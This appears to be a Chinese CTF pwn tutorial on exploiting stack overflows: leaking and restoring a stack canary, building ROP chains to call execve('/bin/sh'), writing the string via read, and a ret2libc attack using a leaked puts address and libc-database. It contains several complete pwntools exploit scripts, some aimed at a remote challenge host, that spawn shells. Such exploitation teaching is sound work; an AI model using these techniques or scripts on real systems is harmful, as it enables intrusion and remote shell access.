Canary绕过
canary是Linux的一种代码保护机制,通过在程序中加入一个校验值,来防止程序被破坏。
Canary原理
程序启动时,从某个特定地址(例如fs+28H)处读取一个数值进行保存。
在需要时,重新比较两个值,如果xor的结果不为0,说明有值被修改了,代表程序被破坏。
Canary的处理
检测
可通过checksec
命令来检测是否开启了Canary保护。
获取Canary
为了在栈溢出时不破坏canary的值导致程序退出,我们要获取canary的值,并在溢出时将其构造回原位置。
我们在上图中[rbp+var_8]
处下断点,查看canary的值被储存的位置。
命中断点后可以看出,要赋值的地址为[rbp-8]
,通过dq
命令查看其地址为00007fffffffddf8
。
在read处下断点,查看我们的输入存储的位置。
可知我们的输入将被存储到0x7fffffffdcf0
的位置。
可以得出地址差为00007fffffffddf8-0x7fffffffdcf0=0x108
。因此我们只需要输入0x108个a就可以溢出到canary所在的位置,因为canary结尾有\0x00
,因此只需要多覆盖1位,字符串就将连接起来,被程序一起输出。我们获取到输出后,再重新填充\0x00
,从而恢复canary。
构造溢出
将断点下载main函数的return处,随后触发main函数的结束,查看断点堆栈。
上面已经知道,canary存储地址为0xffddf8
,而main函数结束后回调的地址为0xffde08
。因此在覆盖了canary后,地址来到0xffde00
,与回调地址地址差为8位,因此在canary后再填充8位字符,就可以溢出到回调地址,通过传入后门函数的地址,可以成功触发后门函数。
代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
sh=process("./pwn")
sh.recvuntil("enter:")
sh.sendline('2')
sh.recvuntil("input: ")
sh.send('a'*0x109)
sh.recvuntil('a'*0x109)
canary='\x00'+sh.recv(7)
payload='a'*0x108+canary+'a'*0x8+p64(0x0401320)
sh.recvuntil("enter:")
sh.sendline('2')
sh.recvuntil("input: ")
sh.send(payload)
sh.recvuntil("enter:")
sh.sendline('3')
sh.interactive()
构造调用链
对于有些题目,存在后门函数,但是执行的命令不是shell。
直接调用整个函数是无法达到所需效果的,所以需要构造调用链,最后成功调用execve
函数,来手动执行特定命令。
获取修改寄存器命令的地址
为了构造调用链,我们需要出发一些命令来改变寄存器的地址,最常见的是pop命令,借助ROPgadget --binary ./pwn|grep
命令,可以在指定的文件中检索特定字符串。
execve
所需的寄存器有rdi、rsi、rdx
三个,分别检索一下,找到pop后返回的地址。
例如上图中的0x401227就是一个可以利用的地址,同理得到其他两个寄存器的利用地址。
代码中存在shell时构造payload的方式
为了执行execve
函数,寄存器需要满足的条件为:rdx =0,rsi =0,[rdi]="/bin/sh",然后call _execve。
如果题目中存在shell字符串,例如下图,则可以直接使用该地址传递给rdi。
溢出地址差获取
同样在read处下断点,得到我们输入的保存地址为0x7fffffffdd00
。
随后步进到ret处,得到回调地址为0x0x7fffffffde08
。
因此我们需要构造的输入长度为0x108个。
代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
sh=remote("10.144.16.71",10006)
#gdb.attach(sh,"b *0x4011FC")
pop_rdi=0x401227
pop_rsi=0x401229
pop_rdx=0x40122B
binsh=0x402004
execadd=0x4010A0
#raw_input('aa')
sh.sendline('a'*0x108+p64(pop_rdi)+p64(binsh)+p64(pop_rdx)+p64(0)+p64(pop_rsi)+p64(0)+p64(execadd))
sh.interactive()
代码中无shell时构造payload的方式
如果题目中没有shell字符串,观察题目是否有read等读输入的函数,可先构造payload调用该函数,将shell字符串输入,再构造payload进行调用。
read函数
首先可以获取到read函数的地址为0x401090
。
为了触发read函数,我们需要构造的寄存器为:rdi=0,rsi=buf,rdx=0x10,然后call read(0,buf,0x10)
可在bss区后面找一个空地址用来存放我们的输入,例如0x404070
。可在运行时通过dq命令检查该地址是否有值。
代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
sh=remote("10.144.16.71",10007)
#gdb.attach(sh,"b *0x4011FC")
pop_rdi=0x401227
pop_rsi=0x401229
pop_rdx=0x40122B
pop_rax=0x40122D
pop_rdx=0x40122F
pop_rsp=0x401231
pop_rbp=0x401233
binsh=0x404070
execadd=0x4010A0
readadd=0x401090
#raw_input('aa')
sh.sendline('a'*0x108+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(binsh)+p64(pop_rdx)+p64(0x10)+p64(readadd)+p64(pop_rdx)+p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(execadd))
sh.sendline("/bin/sh\x00\n")
sh.interactive()
注意/bin/sh
后添加\x00
来将字符串截断,以免字符串后如果被填充其他内容,将会被自动拼接在一起。
借助libc的溢出调用
观察题目,发现题目给我们的提示是输出puts函数的地址。
下个断点,通过vmmap查看返回的puts地址,找到其对应的libc文件。
Payload构造
通过在对应的libc中查询puts函数的地址,与实际返回的puts函数地址进行计算,即可获取偏移量。
随后在libc中查找pop rdx
等命令地址,以及/bin/sh
字符串的地址,再与偏移量相加,就可以获得实际运行时的函数地址,从而构造payload。
代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sh=process("./pwn")
sh.recvuntil('a little help: ')
puts_add=int(sh.recvuntil('\n',drop=True),16)
log.debug('puts_add '+hex(puts_add))
puts=elf.symbols['puts']
log.debug('puts '+hex(puts))
base=puts_add-puts
log.debug('base '+hex(base))
binsh=base+next(elf.search('/bin/sh'))
log.debug('binsh '+hex(binsh))
exec_add=base+elf.symbols['execve']
log.debug('exec_add '+hex(exec_add))
pop_rdi=base+0x000000000002155f
pop_rdx=base+0x0000000000001b96
pop_rsi=base+0x0000000000023e6a
#gdb.attach(sh,'b *0x04011BA')
#raw_input('aa')
sh.sendline('a'*0x108+p64(pop_rdx)+p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(exec_add))
sh.interactive()
libc版本的确定
本地调通之后攻击服务器可能仍会报错,原因是本地与服务器使用的libc版本不一致。
我们可以在libc-database中进行检索。
libc-database
git clone https://github.com/niklasb/libc-database.git ~/libc-database
cd ~/libc-database
./get
如果在./get的时候出错,可以安装zstd试一下,sudo apt install zstd
。
通过./find 函数名 函数尾地址
来检索,例如题目返回的puts地址为0x7efd947f6420
使用0x420来查找使用的libc文件。
文章评论